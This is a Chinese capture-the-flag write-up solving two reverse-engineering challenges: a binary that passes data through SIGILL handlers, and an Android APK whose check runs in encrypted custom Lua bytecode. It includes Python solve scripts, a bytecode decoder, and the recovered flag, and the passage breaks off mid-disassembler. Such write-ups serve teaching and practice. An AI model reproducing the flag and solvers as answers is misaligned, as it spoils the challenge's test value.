0x401922 | 命中即输出 congratulations!!;同时把 H&NCTF{ 前缀(0x4020c0 异或 0x6d)拼上结果 + } 即真 flag

Image

PRNG 主循环(关键)

寄存器初值:

r13 = 0x6a09e667f3bcc909 ; sqrt(2) frac bits
r14 = 0xd1b54a32d192ed03 ; sqrt(3)*2^63
rbp = 0x81de766bd28c0000
ebx = 0x140000 ; 倒计数

每轮:

// MurmurHash3 风格 finalizer
a = rol64(r13 ^ rbp, 7);
a = a + r14;
a ^= ror64(a, 11);
a *= 0x94d049bb133111eb;
a ^= a >> 31;
r13 = a;
rbp += 0x61c8864e7a143579; // 黄金比例增量
ebx -= 1;

里面还混入了 `pow / sin / cos`,那段只用于改写一个浮点累加器 `0x404150`,最后只看它是否 `>= 0`,跟 token 校验完全无关——纯粹是熵注入烟雾弹。

16 次 SIGILL:解密点检测

0x401537 处把全局 counter = *(0x404148) 与硬编码表 0x402140 的当前条目比较。0x402140 的 16 个 32-bit 值就是 16 个 ebx 触发点:

0x0013F201, 0x0013B6A7, 0x0013794C, 0x00133F10,
0x001302D5, 0x0012C76A, 0x00128B20, 0x00124EF5,
0x0012138A, 0x0011D743, 0x00119A1E, 0x00115CE4,
0x00112099, 0x0010E44F, 0x0010A7E0, 0x00106A12

命中后做一次 6-bit S-box 校验:

r8d = ((r13 >> 9) ^ r13) ^ ebx; r8d &= 0x3f;
edx = ((r13 >> 27) ^ (r13 >> 41)); edx &= 0x7;
sum = edx + r8d;
r9 = sum & 0x3f;
edx = ((sum >> 1) & 0x1f) ^ ((r9 << 2) & 0xff);
edx ^= sbox402180[r8d];
edx ^= sbox402180[r9];
edx &= 0x3f;
if (edx != const_4021c0[counter]) continue; // 不命中就退回继续转 PRNG

sbox402180 是 64 字节 S-box,前 16 字节 const_4021c0 是预计算的目标值(每个都 < 0x40)。这套校验的作用是”只有 PRNG 状态精确踩在这 16 个点上时才让流程通过”——出题人保证了这 16 个 ebx 一定能依次命中。

通过后构造 R12/R15 :

rsi = (counter + ebx + 0x1234) * 0x9e3779b185ebca87;
rsi ^= r13;
rsi ^= 0xa5a55a5aa5a55a5a;
rsi = rol64(rsi, 7) + r14;
rsi ^= ror64(rsi, 11);
rsi *= 0x94d049bb133111eb;
rsi ^= rsi >> 31;
R12 = rsi;
ecx_xor = (counter ^ ebx) ^ 0xd00dfeed;
rdx = (uint64_t)ecx_xor * 0x9e3779b185ebca87;
rdx ^= 0x9e3779b97f4a7c15 + r13;
rdx = rol64(rdx, 7) + r14;
rdx ^= ror64(rdx, 11);
rdx *= 0x94d049bb133111eb;
rdx ^= rdx >> 31;
R15 = rdx;
ud2; // 故意非法指令,主动触发 SIGILL

CPU 抛 `SIGILL` → handler `0x401a30` 把 R12 / R15 / `0x402120[counter]` 三者按字节 XOR,写入 `0x404130 + counter`。这就是题目”Signal error”的灵魂——正常程序逻辑通过 SIGILL 异常上下文传递数据

0x402120 的 16 字节:

47 8d 5c f2 19 36 b6 fa 77 c0 4c 86 d5 ed 7f e3

最后得到的 16 字节中间结果(仿真值):

51 5b 8a 90 df 6a 7f e1 3a c7 51 9d 24 e8 76 0b

4. 两轮字节混淆 → 16 字节会话密钥

落地 0x404130 之后,0x4016e80x401723 两个循环对它做了两轮交叉的 ROL/XOR,写到 0x404120 处当作真正的会话密钥:

# 第一轮 rax = 3..10
sk[rax-3] = rol8(result[8 + (rax & 7)], 1) ^ result[rax-3]
# 第二轮 rax = 5..12,常量来自 0x4021cb 起的 8 字节
sk[rax+3] = rol8(result[rax & 7], 3) ^ result[rax+3] ^ const_4021c0[11 + rax]

仿真结果:

6a 13 5b 7c c9 1e f0 43 2d 88 74 b1 aa 56 c0 de

自定义 16 轮轮函数(0x401ab0)

输入:16 字节 state_key、16 字节明文。每轮内部用 bp / di / r8 做有状态扰动,操作严格区分 8-bit / 32-bit 宽度,关键步骤:

rcx_idx = (rax + 7) & 0xf
rdx_idx = (5*rax + (di & 0xff) + (bp & 0xff)) & 0xf
edx = state_key[rdx_idx]
sil = ((r8 + bp) & 0xff) + state_key[rcx_idx]
sil = ror8(sil, ((di & 0xff) >> 5) & 7)
bl = rol8(di ^ rax ^ edx, ((bp+rax) & 0xff) & 7)
sil ^= bl
out[rax] = sil ^ input[rax]
edx_new = ((edx ^ bp) ^ sil) ^ rax # 32-bit
di = (edx + di + 0x3d) + (sil ^ rax)
bp = rol8(edx_new & 0xff, 1) | (edx_new & 0xffffff00) + 0x17

主流程对两个 16 字节明文表各调用一次:

input1 = 0x402110: b4 87 2c 16 16 f8 86 2a 70 03 8b 78 5f 31 4f e6
input2 = 0x402100: ee 85 7a 12 4c fd d1 2b 26 5e d3 2a 5d 3d 4e e2
out_hi = round(sk, input1) = 0x404100 -> "b743baa0a8ac3483"
out_lo = round(sk, input2) = 0x404110 -> "85b78d617e911897"

拼起来正好是 32 字节 ASCII 十六进制

置换 + 拼装

0x4020e0 的 32 字节是 0..0x1f 的置换:

0b 04 17 01 12 1d 07 0e 1e 09 14 02 1b 0c 18 05
10 1f 08 15 00 19 0d 1c 06 13 0a 1a 03 16 0f 11

对 32 字节状态做 sub[i] = state[perm[i]],得到:

cb17b8089884137a87adbe41a7a93635

解题脚本

MASK64 = (1 << 64) - 1
MASK32 = (1 << 32) - 1
def rol64(x, n):
n &= 63
if n == 0:
return x & MASK64
return ((x << n) | (x >> (64 - n))) & MASK64
def ror64(x, n):
n &= 63
if n == 0:
return x & MASK64
return ((x >> n) | (x << (64 - n))) & MASK64
def rol8(x, n):
n &= 7
if n == 0:
return x & 0xff
return ((x << n) | (x >> (8 - n))) & 0xff
def ror8(x, n):
n &= 7
if n == 0:
return x & 0xff
return ((x >> n) | (x << (8 - n))) & 0xff
# -------- rodata constants --------
sbox_402180 = bytes.fromhex(
"1337c0de429a7d11fe65284b90afd15c738e192ab7cce45f016b3d84aaf01739"
"4e92bd0758c16e23d8740a95eb314f68821ca6dd3b57f9204a718bce1463adf2"
) # 64 bytes
expected_4021c0_first16 = bytes.fromhex("3c3434213d1d062a04372b18321b1c03")
const_4021c0 = bytes.fromhex(
"3c3434213d1d062a04372b18321b1c03"
"44b42aa654ea322bde44dc4eb065dfbf"
) # 32 bytes (used for the byte mixing too at offset 11)
table_402120 = bytes.fromhex("478d5cf21936b6fa77c04c86d5ed7fe3") # 16 bytes
table_ebx_402140 = [
0x0013f201, 0x0013b6a7, 0x0013794c, 0x00133f10,
0x001302d5, 0x0012c76a, 0x00128b20, 0x00124ef5,
0x0012138a, 0x0011d743, 0x00119a1e, 0x00115ce4,
0x00112099, 0x0010e44f, 0x0010a7e0, 0x00106a12,
]
input_table_402100 = bytes.fromhex("ee857a124cfdd12b265ed32a5d3d4ee2") # 16 bytes
input_table_402110 = bytes.fromhex("b4872c1616f8862a70038b785f314fe6") # 16 bytes
src_4020e0 = bytes.fromhex(
"0b0417011 21d070e1e0914021b0c1805"
"101f0815 00190d1c06130a1a03160f11".replace(" ", "")
) # 32 bytes - permutation indices
prefix_4020c0 = bytes.fromhex("254b232e392b16") # 7 bytes XOR 0x6d == "H&NCTF{"
# -------- stage 1 --------
def stage1_compute_result_bytes():
K1 = 0x94d049bb133111eb
K2 = 0x9e3779b185ebca87
K3 = 0xa5a55a5aa5a55a5a
K4 = 0x9e3779b97f4a7c15
GOLDEN = 0x61c8864e7a143579
r13 = 0x6a09e667f3bcc909
r14 = 0xd1b54a32d192ed03
rbp = 0x81de766bd28c0000
counter = 0
result = bytearray(16)
for it in range(0x140000):
ebx = (0x140000 - it) & MASK32
# r13 update: r13 = mix(r13 ^ rbp, r14, K1)
a = r13 ^ rbp
a = rol64(a, 7)
a = (a + r14) & MASK64
b = ror64(a, 11)
a ^= b
a = (a * K1) & MASK64
a ^= (a >> 31)
r13 = a & MASK64
if counter <= 15 and table_ebx_402140[counter] == ebx:
# Compute sbox check
r8d = (((r13 >> 9) ^ r13) & MASK32) ^ ebx
edi32 = (r13 >> 41) & MASK32
edx = ((r13 >> 27) & MASK32) ^ edi32
r8d &= 0x3f
edx &= 0x7
sum_idx = (edx + r8d) & 0xff # could be up to 7 + 63 = 70
r9d = sum_idx & 0x3f
edx_shifted = (sum_idx >> 1) & 0x1f
r10d = (r9d << 2) & 0xff
edx_v = edx_shifted ^ r10d ^ sbox_402180[r8d] ^ sbox_402180[r9d]
edx_v &= 0x3f
target = const_4021c0[counter] # already < 0x40
if edx_v == target:
# Compute R12, R15
rsi = (counter + ebx + 0x1234) & MASK32
ecx = (counter ^ ebx) & MASK32
rsi = (rsi * K2) & MASK64
rsi ^= r13
rsi ^= K3
rsi = rol64(rsi, 7)
rsi = (rsi + r14) & MASK64
tmp = ror64(rsi, 11)
rsi ^= tmp
edx_low = (ecx ^ 0xd00dfeed) & MASK32
rsi = (rsi * K1) & MASK64
rcx_full = (K4 + r13) & MASK64
rdx_full = (edx_low * K2) & MASK64
rdi_full = rsi
rdx_full ^= rcx_full
rdi_full >>= 31
rdx_full = rol64(rdx_full, 7)
rsi ^= rdi_full
rdx_full = (rdx_full + r14) & MASK64
rcx_full = ror64(rdx_full, 11)
rdx_full ^= rcx_full
rdx_full = (rdx_full * K1) & MASK64
rcx_full = rdx_full >> 31
rdx_full ^= rcx_full
r12 = rsi & MASK64
r15 = rdx_full & MASK64
byte = (r15 ^ r12 ^ table_402120[counter]) & 0xff
result[counter] = byte
counter += 1
if counter == 16:
break
rbp = (rbp + GOLDEN) & MASK64
print(f"[stage1] counter={counter}")
print(f"[stage1] result(16) = {bytes(result).hex()}")
return bytes(result)
# -------- stage 2 --------
def stage2_session_key(result):
sk = bytearray(16)
# loop 1: rax = 3..10 -> sk[rax-3] = rol(result[8 + (rax & 7)], 1) ^ result[rax-3]
for rax in range(3, 11):
sk[rax - 3] = rol8(result[8 + (rax & 7)], 1) ^ result[rax - 3]
# loop 2: rax = 5..12 -> sk[rax+3] = rol(result[rax & 7], 3) ^ result[rax + 3] ^ const_4021c0[11 + rax]
for rax in range(5, 13):
sk[rax + 3] = rol8(result[rax & 7], 3) ^ result[rax + 3] ^ const_4021c0[11 + rax]
print(f"[stage2] session_key = {bytes(sk).hex()}")
return bytes(sk)
# -------- stage 3 --------
def round_function(state_key, input_data):
"""Emulates 0x401ab0. 16 rounds, returns 16 output bytes."""
out = bytearray(16)
bp = 0xffffffa7
di = 0x63
r8 = 0
for rax in range(16):
# esi = bp & 0xff (zero-extended into rsi)
# ecx = di & 0xff
# rdx = 5 * rax
# ebx = di (32-bit)
# rcx = (di & 0xff) + (bp & 0xff)
rcx = ((di & 0xff) + (bp & 0xff)) & MASK64
# esi = (r8 + bp) & MASK32 <-- overwrites esi with full 32-bit value
esi = (r8 + bp) & MASK32
# ebx ^= rax (32-bit)
ebx = (di ^ rax) & MASK32
# r8 += 13
r8 = (r8 + 13) & MASK32
# rdx = (5 * rax + rcx) & MASK64
rdx_idx = (5 * rax + rcx) & 0xf
rcx_idx = (rax + 7) & 0xf
# edx = state_key[rdx_idx] (low 8 bits)
edx = state_key[rdx_idx] # 0..255
# sil += state_key[rcx_idx] (only low byte of esi changes)
sil = (esi & 0xff)
sil = (sil + state_key[rcx_idx]) & 0xff
esi = (esi & 0xffffff00) | sil
# ecx = di; cl >>= 5 (only cl changes, upper bits of ecx unchanged from di)
cl_byte = ((di & 0xff) >> 5) & 0xff
# ror sil by cl
rot_eff = cl_byte & 7 # mask to 5 bits, then mod 8
if rot_eff:
sil = ((sil >> rot_eff) | (sil << (8 - rot_eff))) & 0xff
esi = (esi & 0xffffff00) | sil
# ecx = (bp + rax) & MASK32 (full overwrite)
ecx = (bp + rax) & MASK32
# new_di = (edx + di + 0x3d) & MASK32
new_di = (edx + di + 0x3d) & MASK32
# ebx ^= edx (32-bit)
ebx = (ebx ^ edx) & MASK32
# bl = rol(bl, cl) cl = low byte of ecx
rot_eff2 = (ecx & 0xff) & 7
bl = ebx & 0xff
if rot_eff2:
bl = ((bl << rot_eff2) | (bl >> (8 - rot_eff2))) & 0xff
ebx = (ebx & 0xffffff00) | bl
# edx ^= bp (32-bit)
edx = (edx ^ bp) & MASK32
# esi ^= ebx (32-bit)
esi = (esi ^ ebx) & MASK32
# ecx_save = esi
ecx_save = esi
# sil ^= input[rax]
out_byte = (esi & 0xff) ^ input_data[rax]
out[rax] = out_byte
# edx ^= ecx_save (32-bit)
edx = (edx ^ ecx_save) & MASK32
# esi = ecx_save ^ rax (32-bit)
esi = (ecx_save ^ rax) & MASK32
# dl = rol(dl, 1)
dl = (edx & 0xff)
dl = ((dl << 1) | (dl >> 7)) & 0xff
edx = (edx & 0xffffff00) | dl
# di = (new_di + esi) & MASK32
di = (new_di + esi) & MASK32
# bp = (edx + 0x17) & MASK32
bp = (edx + 0x17) & MASK32
return bytes(out)
# -------- main --------
def main():
res = stage1_compute_result_bytes()
sk = stage2_session_key(res)
out_hi = round_function(sk, input_table_402110) # stored at 0x404100
out_lo = round_function(sk, input_table_402100) # stored at 0x404110
state = out_hi + out_lo # 32 bytes
print(f"[stage3] out_hi (round on 0x402110) = {out_hi.hex()}")
print(f"[stage3] out_lo (round on 0x402100) = {out_lo.hex()}")
print(f"[stage3] state(32) = {state.hex()}")
sub = bytes(state[src_4020e0[i]] for i in range(32))
print(f"[stage4] sub(32) = {sub.hex()}")
prefix = bytes(b ^ 0x6d for b in prefix_4020c0)
flag = prefix + sub + b"}"
print(f"[stage5] len = {len(flag)}")
try:
print(f"[stage5] flag = {flag.decode()}")
except UnicodeDecodeError:
print(f"[stage5] flag (raw) = {flag}")
for i, c in enumerate(flag):
print(f" [{i:2d}] 0x{c:02x} {chr(c) if 32 <= c < 127 else '.'}")
return flag
if __name__ == "__main__":
main()

Image

H&NCTF{cb17b8089884137a87adbe41a7a93635}

题目名称:and you#

解题人:weixiao

解题过程:

对apk进行分析,包名为 com.aurora.notes。整体结构看起来像普通 Java 层加 native 校验,但真正逻辑被拆成了几层:Java 入口、libengine.so、自定义 Lua 5.3 字节码、运行时释放的 dex/jar,以及最后一段 native MD5 变体。

主要文件如下:

classes.dex
com.aurora.notes.MainActivity
com.aurora.notes.Bridge
com.aurora.notes.FirstGate
classes2.dex
arm.EpicVm
lib/arm64-v8a/libengine.so
真正的校验逻辑,自定义 Lua 5.3 VM 也在这里
lib/arm64-v8a/libyipro.so
VMP 壳,classes2.dex 中 arm.EpicVm 会加载它
assets/loader.dex
扩展名是 dex,实际是加密后的 Lua 5.3 字节码
assets/stage.dat
加密后的第二阶段 jar,运行时写成 stage.jar 后由 DexClassLoader 加载

Bridge.java 很薄:

Image

public final class Bridge {
public static native String verify(Context context, byte[] bArr, byte[] bArr2, String str);
static {
System.loadLibrary("engine");
}
}

FirstGate.java 泄露了一组 XXTEA 类常量:

Image

private static final int DELTA = -1923030938;
private static final int[] KEY = {826366246, 1398314899, 595878500, 864233365};
private static final int[] WANT = {1213672582, -1111286241, -838853147};

Bridge.verify 总流程

libengine.so 中跟 JNI 注册和 Bridge.verify,可以看到它不是直接校验输入,而是启动了一套 Lua 运行环境:

  1. 创建 Lua state。

  2. 注册三个 native 函数:native_tailandroid_write_cacheandroid_load_dex

  3. assets/stage.dat 作为全局 _stage_blob 推入 Lua。

Image

  1. 加载并执行 assets/loader.dex 中的 Lua 字节码。

  2. 调用 Lua 返回的主校验函数,传入用户输入,返回 (bool, message)

也就是说,主线逻辑在 loader.dex 里,stage.dat 是由 Lua 解密后继续加载的第二阶段。

解密 loader.dex

assets/loader.dex 不是 dex 文件。文件头和 Lua 5.3 字节码接近,但多个字段被修改。根据 libengine.so 中的读 chunk 逻辑,可以还原出以下加密层:

位置加密方式密钥/常量
Lua 头与 size 字段XOR0x5A17C0DE
整数常量XOR0x13579BDF2468ACE0
浮点常量XOR0x1863791790A6213E,可用 370.5 校验
指令字~code ^ mut_key32[i % 100]100 个 Blowfish pi table word,首项 0x243f6a88
字符串byte ^ mut_key[(81+i)%400] ^ (2*i*i) ^ 0xFE同一张 key table

“脱壳/解码器”,把 assets/loader.dex 这个假 dex、真 Lua 字节码文件还原成可分析的数据结构

#!/usr/bin/env python3
"""Decode the custom dex-lua bytecode produced by libengine.so back to standard Lua 5.3 binary."""
import struct
import json
import argparse
from pathlib import Path
# mut_key32 array (100 32-bit words) extracted from libengine.so at 0x674c
MUT_KEY32 = [
0x243f6a88, 0x85a308d3, 0x13198a2e, 0x03707344, 0xa4093822, 0x299f31d0,
0x082efa98, 0xec4e6c89, 0x452821e6, 0x38d01377, 0xbe5466cf, 0x34e90c6c,
0xc0ac29b7, 0xc97c50dd, 0x3f84d5b5, 0xb5470917, 0x9216d5d9, 0x8979fb1b,
0xd1310ba6, 0x98dfb5ac, 0x2ffd72db, 0xd01adfb7, 0xb8e1afed, 0x6a267e96,
0xba7c9045, 0xf12c7f99, 0x24a19947, 0xb3916cf7, 0x0801f2e2, 0x858efc16,
0x636920d8, 0x71574e69, 0xa458fea3, 0xf4933d7e, 0x0d95748f, 0x728eb658,
0x718bcd58, 0x82154aee, 0x7b54a41d, 0xc25a59b5, 0x9c30d539, 0x2af26013,
0xc5d1b023, 0x286085f0, 0xca417918, 0xb8db38ef, 0x8e79dcb0, 0x603a180e,
0x6c9e0e8b, 0xb01e8a3e, 0xd71577c1, 0xbd314b27, 0x78af2fda, 0x55605c60,
0xe65525f3, 0xaa55ab94, 0x57489862, 0x63e81440, 0x55ca396a, 0x2aab10b6,
0xb4cc5c34, 0x1141e8ce, 0xa15486af, 0x7c72e993, 0xb3ee1411, 0x636fbc2a,
0x2ba9c55d, 0x741831f6, 0xce5c3e16, 0x9b87931e, 0xafd6ba33, 0x6c24cf5c,
0x7a325381, 0x28958677, 0x3b8f4898, 0x6b4bb9af, 0xc4bfe81b, 0x66282193,
0x61d809cc, 0xfb21a991, 0x487cac60, 0x5dec8032, 0xef845d5d, 0xe98575b1,
0xdc262302, 0xeb651b88, 0x23893e81, 0xd396acc5, 0x0f6d6ff3, 0x83f44239,
0x2e0b4482, 0xa4842004, 0x69c8f04a, 0x9e1f9b5e, 0x21c66842, 0xf6e96c9a,
0x670c9c61, 0xabd388f0, 0x6a51a0d2, 0xd8542f68,
]
SIZE_XOR = 0x5A17C0DE # XOR for sizes
INT_XOR = 0x13579BDF2468ACE0 # XOR for int constants
FLOAT_XOR = 0x1863791790A6213E # XOR for float constants
# mut_key32 as raw bytes (little-endian) for the LoadString offset (mut_key32_0[20] + 1)
KEY_BYTES = b''.join(struct.pack('<I', w) for w in MUT_KEY32)
# &mut_key32_0[20] = offset 80; +1 byte offset; total 400 bytes; the wrap is using 400-byte cycle
KEY_OFFSET_BASE = 81 # initial v18 = 81; index = (i + 81) % 400 - this is where to read
class LuaDecoder:
def __init__(self, raw):
self.raw = raw
self.pos = 0
def read(self, n):
b = self.raw[self.pos:self.pos+n]
if len(b) < n:
raise EOFError(f"truncated at {self.pos}, want {n} got {len(b)}")
self.pos += n
return b
def read_u8(self):
return self.read(1)[0]
def read_u32(self):
return struct.unpack('<I', self.read(4))[0]
def read_u64(self):
return struct.unpack('<Q', self.read(8))[0]
def read_size_xored(self):
return self.read_u32() ^ SIZE_XOR
def read_string(self):
"""Replicate LoadString behavior with the mut_key32 stream cipher"""
first = self.read_u8()
if first == 0xFF:
n = self.read_u64()
else:
n = first
if n == 0:
return None
n -= 1
if n == 0:
return b""
# short string read inline (always – encryption is the same regardless)
data = bytearray(self.read(n))
# decrypt: data[i] ^= mut_key32_byte((81 + i) % 400) ^ ((2*i)*i & 0xff) ^ 0xFE
# The C: v22[i] ^= *((BYTE *)&mut_key32_0[20] + i + -400 * (v10 / 0x190) + 1) ^ v11 ^ 0xFE
# where v11 = (v7 * v8); v7 starts 0, increments by 2; v8 = i (increments by 1)
# so v11 = (2*i)*i? Let's check: v7=0,v8=0 -> v11=0; v7=2,v8=1 -> v11=2; v7=4,v8=2 -> v11=8;
# Actually v7 is computed BEFORE increment? Let's re-read:
# v11 = v7 * v8;
# v7 += 2;
# ++v9; (v9 was index counter)
# So at iter i: v7=2*i (since starts 0, +=2 each), v8=i; -> v11 = (2*i)*i = 2*i*i
# but: order is v11 = v7 * v8; THEN v7 += 2.
# iter 0: v7=0, v8=0 -> v11=0; then v7=2
# iter 1: v7=2, v8=1 -> v11=2; then v7=4
# iter 2: v7=4, v8=2 -> v11=8; then v7=6
# So v11 = 2*i*i? iter0 -> 0; iter1 -> 2 (matches 2*1*1=2); iter2 -> 8 (2*2*2=8). yes.
# However v11 is 'char' (1 byte), so it's truncated to 8 bits.
# Key offset: mut_key32_0[20] in bytes = byte offset 80; +1 = 81; +i; modulo 400 (0x190=400 in bytes? no wait 0x190 = 400)
# The index v9 starts 81 and increments by 1; the wrapping subtracts 400*(v9/400)
# so byte_index = (81 + i) % 400, but reading from KEY_BYTES
for i in range(n):
v11 = (2 * i * i) & 0xFF
key_byte = KEY_BYTES[(81 + i) % 400]
data[i] ^= key_byte ^ v11 ^ 0xFE
return bytes(data)
def read_code(self, count):
"""Read 'count' instructions, decrypt using mut_key32 in 32-bit XOR-EON pairs."""
raw = bytearray(self.read(4 * count))
# Replicate LoadFunction code-decrypt:
# First loop processes pairs (count - count%2):
# for i in 0,2,4,...:
# v17 = mut_key32_0[(i) % 100]; v0 = mut_key32_0[(i+1) % 100]
# w17 = ~code[i] ^ v17; w0 = ~code[i+1] ^ v0
# EON is bitwise XNOR: a EON b = ~(a^b) = ~a ^ b; or equivalently ~a XOR ~~b = a^~b
# Wait let's re-check: assembly is
# EON W17, W17, W1 -> W17 = W17 ^ ~W1 (or equivalently ~(W17 ^ W1))
# and W17 was previously LDR from mut_key32, W1 was the code word.
# So decoded = mut_key32_0[idx] ^ ~code_word = mut_key32_0[idx] XOR (NOT code_word)
# equivalently: code_word = ~(mut_key32_0[idx] ^ decoded) = ~mut_key32_0[idx] ^ decoded
# But we have raw encrypted code, want decoded:
# decoded = ~code_word ^ mut_key32_0[idx]
# Let's just apply inverse:
out = []
for i in range(count):
enc = struct.unpack_from('<I', raw, 4*i)[0]
dec = MUT_KEY32[i % 100] ^ ((~enc) & 0xFFFFFFFF)
out.append(dec)
return out
def decode(raw):
d = LuaDecoder(raw)
# Header: "dex\n035\0" + "\x19\x93\r\n\x1a\n"
header_magic = d.read(7) # 'dex\n035\0' is 8 bytes, but the first read in luaU_undump reads 7 bytes
print('header magic:', header_magic)
sig2 = d.read(6)
print('sig2:', sig2.hex())
# int size = 4
int_sz = d.read_u8(); assert int_sz == 4, int_sz
# size_t = 8
sz_t = d.read_u8(); assert sz_t == 8
# Instruction = 4
insn_sz = d.read_u8(); assert insn_sz == 4
# lua_Integer = 8
li_sz = d.read_u8(); assert li_sz == 8
# lua_Number = 8
ln_sz = d.read_u8(); assert ln_sz == 8
# endianness check (8 bytes)
end_check = d.read_u64()
assert end_check == 0x13579BDF2468FA98, hex(end_check)
# float check
flt_check = d.read_u64()
expected = struct.unpack('<d', struct.pack('<Q', flt_check ^ FLOAT_XOR))[0]
print('float check =', expected)
# number of upvalues for top-level
nups = d.read_u8()
print('nups:', nups)
# Now LoadFunction
return load_function(d, top=True)
def load_function(d, top=False):
src = d.read_string()
print('source:', src)
line_defined = d.read_size_xored()
last_line = d.read_size_xored()
num_params = d.read_u8()
is_vararg = d.read_u8()
max_stack = d.read_u8()
print(f' line_defined={line_defined} last_line={last_line} numparams={num_params} is_vararg={is_vararg} maxstack={max_stack}')
code_count = d.read_size_xored()
print(f' code_count={code_count}')
code = d.read_code(code_count)
# constants
nk = d.read_size_xored()
print(f' num_constants={nk}')
consts = []
for i in range(nk):
t = d.read_u8()
if t == 0: # nil
consts.append(('nil', None))
elif t == 1: # boolean
v = d.read_u8()
consts.append(('bool', bool(v)))
elif t == 3: # LUA_TNUMFLT
raw = d.read(8)
v = struct.unpack('<d', struct.pack('<Q', struct.unpack('<Q', raw)[0] ^ FLOAT_XOR))[0]
consts.append(('float', v))
elif t == 4 or t == 0x14: # short string / long string
consts.append(('string', d.read_string()))
elif t == 0x13: # LUA_TNUMINT
v = d.read_u64() ^ INT_XOR
if v >= 2**63:
v -= 2**64
consts.append(('int', v))
else:
raise ValueError(f'unknown const type {t}')
# upvalues (instack, idx) pairs
n_up = d.read_size_xored()
print(f' num_upvalues={n_up}')
upvalues = []
for _ in range(n_up):
instack = d.read_u8()
idx = d.read_u8()
upvalues.append((instack, idx))
# protos (sub-functions)
n_protos = d.read_size_xored()
print(f' num_protos={n_protos}')
protos = []
for _ in range(n_protos):
protos.append(load_function(d))
# debug: line info, then locals, then upvalue names
n_lineinfo = d.read_size_xored()
line_info = [d.read_u32() ^ SIZE_XOR for _ in range(n_lineinfo)]
n_locals = d.read_size_xored()
locals_ = []
for _ in range(n_locals):
name = d.read_string()
startpc = d.read_u32() ^ SIZE_XOR
endpc = d.read_u32() ^ SIZE_XOR
locals_.append((name, startpc, endpc))
n_upnames = d.read_size_xored()
upnames = [d.read_string() for _ in range(n_upnames)]
return {
'source': src,
'line_defined': line_defined,
'last_line': last_line,
'num_params': num_params,
'is_vararg': is_vararg,
'max_stack': max_stack,
'code': code,
'constants': consts,
'upvalues': upvalues,
'protos': protos,
'line_info': line_info,
'locals': locals_,
'upnames': upnames,
}
DEFAULT_INPUT = Path("extracted/assets/loader.dex")
def main():
parser = argparse.ArgumentParser(
description="Decode Aurora Vault custom dex-lua bytecode back to standard Lua 5.3 structures."
)
parser.add_argument(
"input",
nargs="?",
default=str(DEFAULT_INPUT),
help=f"encrypted loader path, defaults to {DEFAULT_INPUT}",
)
args = parser.parse_args()
input_path = Path(args.input)
if not input_path.is_file():
parser.error(f"input file not found: {input_path}")
raw = input_path.read_bytes()
# f_parser consumes the first byte 'd' as binary marker before invoking luaU_undump
result = decode(raw[1:])
print()
print(json.dumps(result, indent=2, default=lambda x: x.decode('latin-1') if isinstance(x, bytes) else str(x)))
if __name__ == '__main__':
main()

数理解密后的逻辑

#!/usr/bin/env python3
"""Disassemble Lua 5.3 bytecode (from decoded loader.dex)."""
import argparse
from pathlib import Path
OPCODES = [
'MOVE', 'LOADK', 'LOADKX', 'LOADBOOL', 'LOADNIL', 'GETUPVAL', 'GETTABUP', 'GETTABLE',
'SETTABUP', 'SETUPVAL', 'SETTABLE', 'NEWTABLE', 'SELF', 'ADD', 'SUB', 'MUL',
'MOD', 'POW', 'DIV', 'IDIV', 'BAND', 'BOR', 'BXOR', 'SHL',
'SHR', 'UNM', 'BNOT', 'NOT', 'LEN', 'CONCAT', 'JMP', 'EQ',
'LT', 'LE', 'TEST', 'TESTSET', 'CALL', 'TAILCALL', 'RETURN', 'FORLOOP',
'FORPREP', 'TFORCALL', 'TFORLOOP', 'SETLIST', 'CLOSURE', 'VARARG', 'EXTRAARG'
]
# Encoding: A in bits 6..14, C in bits 14..23, B in bits 23..32, opcode in bits 0..6
# Bx in bits 14..32, sBx is Bx - 0x1FFFF
def decode_insn(i):
op = i & 0x3F
A = (i >> 6) & 0xFF
C = (i >> 14) & 0x1FF
B = (i >> 23) & 0x1FF
Bx = (i >> 14) & 0x3FFFF
sBx = Bx - 0x1FFFF
Ax = (i >> 6) & 0x3FFFFFF
return op, A, B, C, Bx, sBx, Ax
# Lua 5.3 RK encoding: bit 8 in B/C set means constant index, with the lower 8 bits being the K index
def rk(x, consts):
if x & 0x100:
idx = x & 0xFF
v = consts[idx][1] if idx < len(consts) else f"K{idx}?"
return f"K{idx}({v!r})"
return f"R{x}"
def disasm_proto(proto, name=""):
print(f"\n=== Proto {name} ===")
print(f" params={proto['num_params']} vararg={proto['is_vararg']} maxstack={proto['max_stack']} upvals={len(proto['upvalues'])}")
print(f" upvalues: {proto['upvalues']}")
print(f" constants:")
for i, c in enumerate(proto['constants']):
print(f" K{i}: {c}")
print(f" code:")
consts = proto['constants']
for pc, insn in enumerate(proto['code']):
op, A, B, C, Bx, sBx, Ax = decode_insn(insn)
if op >= len(OPCODES):
opname = f"OP_{op}"
else:
opname = OPCODES[op]
# Print common cases
if opname == 'MOVE':
extra = f"R{A} := R{B}"
elif opname == 'LOADK':
extra = f"R{A} := K{Bx} ({consts[Bx][1] if Bx < len(consts) else '?'})"
elif opname == 'LOADBOOL':
extra = f"R{A} := {bool(B)}; if (C) pc++"
elif opname == 'LOADNIL':
extra = f"R{A}..R{A+B} := nil"
elif opname == 'GETUPVAL':
extra = f"R{A} := UpVal[{B}]"
elif opname == 'GETTABUP':
extra = f"R{A} := UpVal[{B}][{rk(C, consts)}]"
elif opname == 'GETTABLE':
extra = f"R{A} := R{B}[{rk(C, consts)}]"
elif opname == 'SETTABUP':
extra = f"UpVal[{A}][{rk(B, consts)}] := {rk(C, consts)}"
elif opname == 'SETUPVAL':
extra = f"UpVal[{B}] := R{A}"
elif opname == 'SETTABLE':
extra = f"R{A}[{rk(B, consts)}] := {rk(C, consts)}"
elif opname == 'NEWTABLE':
extra = f"R{A} := {{}} (size {B},{C})"
elif opname == 'SELF':
extra = f"R{A+1} := R{B}; R{A} := R{B}[{rk(C, consts)}]"
elif opname in ('ADD','SUB','MUL','MOD','POW','DIV','IDIV','BAND','BOR','BXOR','SHL','SHR'):
extra = f"R{A} := {rk(B, consts)} {opname} {rk(C, consts)}"
elif opname in ('UNM','BNOT','NOT','LEN'):
extra = f"R{A} := {opname} R{B}"
elif opname == 'CONCAT':
extra = f"R{A} := R{B}..R{C}"
elif opname == 'JMP':
extra = f"pc += {sBx}; if (A) close upvalues >= R{A-1}"
elif opname == 'EQ':
extra = f"if (({rk(B, consts)} == {rk(C, consts)}) ~= {A}) pc++"
elif opname == 'LT':
extra = f"if (({rk(B, consts)} < {rk(C, consts)}) ~= {A}) pc++"
elif opname == 'LE':
extra = f"if (({rk(B, consts)} <= {rk(C, consts)}) ~= {A}) pc++"
elif opname == 'TEST':
